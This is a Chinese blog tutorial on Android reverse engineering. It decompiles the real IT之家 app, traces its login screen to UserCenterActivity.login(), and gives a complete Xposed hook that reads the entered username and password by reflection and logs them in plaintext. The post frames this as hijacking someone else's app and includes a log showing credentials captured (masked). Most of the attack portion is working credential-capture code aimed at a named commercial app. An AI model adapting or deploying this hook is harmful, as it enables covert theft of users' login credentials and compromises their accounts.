Android逆向之玩轉Xposed模塊以劫持登錄爲例(實戰篇)

上一篇文章《Android逆向之玩轉Xposed模塊以劫持登錄爲例(Demo篇)》自編自導了一款劫持登錄的Xposed模塊,如果僅滿於破解自己的APP是多麼的悲哀,畢竟市場上的app都是經過各種混淆,簽名,加固等安全處理的,想劫持別人的app談何容易。鑑於此,通過實戰來幫助童鞋們提高一個新的學習高度,接下來繼續搞事情,着手破解別人的app。

準備食材

食材 版本 鏈接
《IT之家》 Android端 v6.75 點此下載

《IT之家》app(下文簡稱:app)是我最喜歡的國產app之一,UI設計得很優秀,不過本文要拿它開菜了,emmm…

emmm

擇洗食材

將下載好的app去殼,洗淨等待下鍋。Excuse me???我是在寫食譜嗎?

其實是做應用脫殼和反編譯操作。對了,app反編譯這一塊不是本文重點,涉及到比較複雜的知識面和過程,本文直接忽略這一過程,側重於逆向分析和Xposed模塊編寫。

值得慶幸的是,這個app竟然沒有加殼,我直接給反編譯了。

MD,又是一段水文…

下鍋爆炒

逆向分析一波,內容比較多,如果引起不適,也要看完~~~

既然要劫持登錄,那就得設法找到登錄有關的代碼界面,我們從app的UI界面尋找突破口,觀察下方登錄界面:

it_home_login_ui

選定“忘記密碼?”(該詞一般只會在登錄界面出現,而其它如“密碼”關鍵詞在註冊,忘記密碼等界面都有可能出現,查找難度大)作爲關鍵詞搜索一波反編譯代碼,結果如下:

it_home_login_layouts

嗯哼,都集中在“activity_user_center”系列文件中,是登錄界面佈局文件無疑。未做android開發童鞋可能會一臉懵逼,那麼多文件哪個纔是啊?其實它們都是同一個界面引用的,只是針對不同版本系統,主題多做了對應的適配文件,任選一個即可。

接下來對關鍵詞“activity_user_center”搜索一波,查看佈局文件被哪個代碼界面所引用:

it_home_login_layouts_r_id

找到了該佈局文件的資源id(java代碼表示爲:R.layout.activity_user_center),值爲“0x7f04009f”,對其再搜一波:

it_home_login_activity_search

OK,這便目標代碼界面了。打開UserCenterActivity.smali(開發中對應爲:UserCenterActivity.java)文件,對着上文的登錄界面圖片找到“郵箱/手機號”和“密碼”編輯框控件以及登錄按鈕控件:

it_home_login_widgets

巧合的是它們的代碼正好寫在一起,很好找,不懂smali語法沒關係,這裏我給翻譯成java代碼:

      @butterknife.BindView(a=0x7f110508)
      android.widget.Button btn_user_login;
      @butterknife.BindView(a=0x7f110507)
      android.widget.EditText et_user_password;
      @butterknife.BindView(a=0x7f110504)
      android.widget.EditText et_user_username;

是不是似曾相識額?

嗯哼,接下來繼續找登錄按鈕btn_user_login的點擊事件(即用戶觸發登錄的事件),找了一圈竟然沒找到。阿西…見鬼了。

對了,它用了ButterKnife,會不會通過btn_user_login的資源id註冊了點擊事件?嗯,於是複製了上方java代碼的資源id“0x7f110508”進行令人窒息的搜索操作:

it_home_login_event

還真找到了,簡單粗暴地翻譯如下:

  @OnClick(a={0x7f110508})
  public void login() {
  
    String v0 = et_user_username.getText().toString();
    String v1 = et_user_password.getText().toString();
    
    if ((!TextUtils.isEmpty(v0) && (!TextUtils.isEmpty(v1))) {
      ......
    }
    
    ......
  }

yicanghenshen

OK,找到該方法就是找到了需要hook的入口方法。準備擼hook代碼…

添加調味料

修改上文XposedDemo項目中HookLogin類下的handleLoadPackage方法:

        public void handleLoadPackage(XC_LoadPackage.LoadPackageParam lpparam) {

        if (lpparam == null) {
            return;
        }

        Log.e(TAG, "Load app packageName:" + lpparam.packageName);

        /**
         * 過濾非目標應用
         */
        if (!"com.ruanmei.ithome".equals(lpparam.packageName)) {
            return;
        }

        //固定格式
        XposedHelpers.findAndHookMethod(
                "com.ruanmei.ithome.ui.UserCenterActivity", // 需要hook的包名+類名
                lpparam.classLoader,                            // 類加載器,固定這麼寫就行了
                "login",                     // 需要hook的方法名,login()
                // Hook回調
                new XC_MethodHook() {
                    @Override
                    /**
                     * 指定的方法被hook前執行下面的方法
                     */
                    protected void beforeHookedMethod(MethodHookParam param) throws Throwable {
                        Log.e(TAG, "劫持開始了↓↓↓↓↓↓");
                    }

                    /**
                     * 指定的方法被hook後執行下面的方法
                     */
                    protected void afterHookedMethod(MethodHookParam param) throws Throwable {

                        Class o = param.thisObject.getClass();
                        Field.setAccessible(o.getDeclaredFields(), true);
                        Field usernameField = findField(o, "et_user_username");
                        Field passwordField = findField(o, "et_user_password");
                        EditText et_user_username = (EditText) usernameField.get(param.thisObject);
                        EditText et_user_password = (EditText) passwordField.get(param.thisObject);
                        String username = et_user_username.getText().toString();
                        String password = et_user_password.getText().toString();
                        Log.e(TAG, "用戶名: " + username + "  , 密碼 : " + password);

                        Log.e(TAG, "劫持結束了↑↑↑↑↑↑");
                    }
                }
        );
    }

代碼中我們對UserCenterActivity下的“login()”方法進行hook,獲取用戶名和密碼並做log打印,這樣在用戶點擊登錄按鈕的時候就可以記錄用戶名和密碼了。

出鍋上盤

對HookLoginModule重新編譯apk安裝到手機並重啓(若不會,請參考上一篇文章)。

嘗菜品味

打開app來驗證Hook代碼:

it_home_login_demo

演示圖做了登錄操作,這裏貼下log日誌:

2019-05-11 23:23:52.932 27555-27555/? E/HookLogin: 劫持開始了↓↓↓↓↓↓
2019-05-11 23:23:53.005 27555-27555/? E/HookLogin: 用戶名: 95***[email protected]  , 密碼 : ******
2019-05-11 23:23:53.005 27555-27555/? E/HookLogin: 劫持結束了↑↑↑↑↑↑

成功獲取到了用戶名和密碼(涉及隱私給和諧了哈)。

上菜

So delicious!可以上菜(zhuang bi)了,實戰篇到此結束!

XposedDemo下載:https://github.com/ausboyue/XposedDemo

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章